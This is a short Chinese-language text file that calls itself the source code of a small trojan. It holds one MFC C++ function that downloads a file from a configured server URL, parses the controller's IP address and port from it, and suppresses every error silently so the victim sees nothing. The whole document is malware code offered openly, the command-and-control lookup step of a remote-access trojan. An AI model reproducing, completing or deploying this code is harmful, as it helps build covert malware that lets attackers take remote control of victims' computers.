读取信息.txt

一个小木马的源码

BOOL CBDApp::GetIPAndPort(CString &ip, DWORD &port)
{
	BOOL ret=FALSE;
	DWORD dwType;
	CString strServer;
	CString strPath;
	INTERNET_PORT dwPort;
	AfxParseURL(ServerURL,dwType,strServer,strPath,dwPort);//解析URL
	if(dwType==AFX_INET_SERVICE_HTTP)//是以"http://"开头
	{
		try
		{
			CInternetSession cis;
			CHttpConnection *pHttp;
			DWORD dwHttpRequestFlags; 
			dwHttpRequestFlags=HSR_DOWNLOAD | INTERNET_FLAG_EXISTING_CONNECT | INTERNET_FLAG_NO_AUTO_REDIRECT; 
			cis.SetOption(INTERNET_OPTION_CONNECT_TIMEOUT,5);
			pHttp=cis.GetHttpConnection(strServer,dwPort);//连接
			CHttpFile *pFile = pHttp->OpenRequest(CHttpConnection::HTTP_VERB_GET, 
				strPath, NULL, 1, NULL, NULL, dwHttpRequestFlags); 
			if(pFile->SendRequest())//下载文件
			{
				CString temp;
				if(pFile->ReadString(temp))//读取文件信息，格式为ip:port
				{
					int m=temp.ReverseFind(':');
					if(m>0)
					{
						CString strIP,strPort;
						strIP=temp.Left(m);//根据":"把ip和port分割开来
						strPort=temp.Mid(m+1);
						ip=strIP;
						port=atoi((LPCSTR)strPort);
						ret=TRUE;
					}
				}
			}
			pFile->Close();
			pHttp->Close();
			cis.Close();
		}
		catch(CInternetException* pEx)//出错了就直接跳过，不提示
		{
			;
		}
		catch(...)
		{
			;
		}
	}
	return ret;
}